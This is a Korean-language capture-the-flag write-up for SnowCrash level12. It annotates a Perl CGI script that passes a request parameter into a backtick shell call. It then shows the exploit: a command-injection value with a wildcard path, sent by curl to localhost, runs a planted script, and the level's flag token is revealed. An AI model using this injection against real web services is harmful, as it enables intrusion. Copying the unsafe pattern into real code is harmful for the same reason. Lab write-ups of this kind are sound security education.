level12

태그	Perl Shell
상태	완료

풀이과정
- 겪었던 어려움
- 풀이과정
- 정답

출처

풀이과정

겪었던 어려움

풀이과정

기존에 주어진 level12.pl 파일을 읽었을 때 아래와 같은 코드가 나온다.

```
#!/usr/bin/env perl
# localhost:4646
# 이 행은 이 스크립트가 Perl 스크립트임을 나타내며, 4646번 포트에서 실행됩니다.

use CGI qw{param};
# CGI 모듈을 사용하여 웹 요청 파라미터를 처리할 수 있도록 합니다.

print "Content-type: text/html\n\n";
# 웹 브라우저에게 HTML 콘텐츠를 전송할 것임을 알립니다.

sub t {
  $nn = $_[1];
  $xx = $_[0];
  $xx =~ tr/a-z/A-Z/;
  # 입력받은 문자열 $xx를 대문자로 변환합니다.
  $xx =~ s/\s.*//;
  # 문자열 $xx에서 공백 문자와 그 이후 문자를 제거합니다.
  # 이 구문은 $xx 문자열에서 공백 문자와 그 이후의 모든 문자를 제거하여,
  # 공백 문자 이전의 문자만 남기게 됩니다.
    # 예를 들어, $xx가 "ABC DEF GHI" 라면 이 구문 적용 후 $xx는 "ABC"가 됩니다.
  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  # /tmp/xd 파일에서 $xx로 시작하는 행을 찾아 @output 배열에 저장합니다.
```

```
    foreach $line (@output) {
        ($f, $s) = split(/:/, $line);
        if($s =~ $nn) {
            return 1;
        }
    }
    # @output 배열의 각 행에서 $nn 문자열이 포함되어 있으면 1을 반환합니다.
    return 0;
}

sub n {
    if($_[0] == 1) {
        print("..");
    } else {
        print(".");
    }
    # 입력받은 숫자가 1이면 ".."을, 그렇지 않으면 "."을 출력합니다.
}

n(t(param("x"), param("y")));
# 웹 요청의 "x" 및 "y" 파라미터를 전달받아 t 함수를 호출하고,
# 그 결과를 n 함수에 전달하여 출력합니다.
```

`echo "getflag > /tmp/test" > /tmp/EXPLOIT` 명령어를 이용해서 flag 값을 담을 /tmp/test 파일과 ./level12.pl 을 실행시킬 /tmp/EXPLOIT 파일을 만들어 준다. `nc -lk 127.0.0.1 4646` 를 통해서 4646임을 알 수 있다.

`./level12.pl x="`/*/EXPLOIT`"` 를 입력하면 `-bash: /tmp/EXPLOIT: Permission denied` 라는 에러가 발생하게 되어서 `chmod 777 /tmp/EXPLOIT` 로 권한을 올려주고 `curl '127.0.0.1:4646?x="`/*/EXPLOIT`"'` 이후 /tmp/test을 읽으면 원하는 flag 값을 알 수 있다.

정답

```
..level12@SnowCrash:~$ chmod 777 /tmp/EXPLOIT
level12@SnowCrash:~$ curl '127.0.0.1:4646?x="`/*/EXPLOIT`"'
..level12@SnowCrash:~$ cat /tmp/test
Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
level12@SnowCrash:~$ nc -lk 127.0.0.1 4646
```

`“g1qKMiRpXf53AWhDaU7FEkczr”`

출처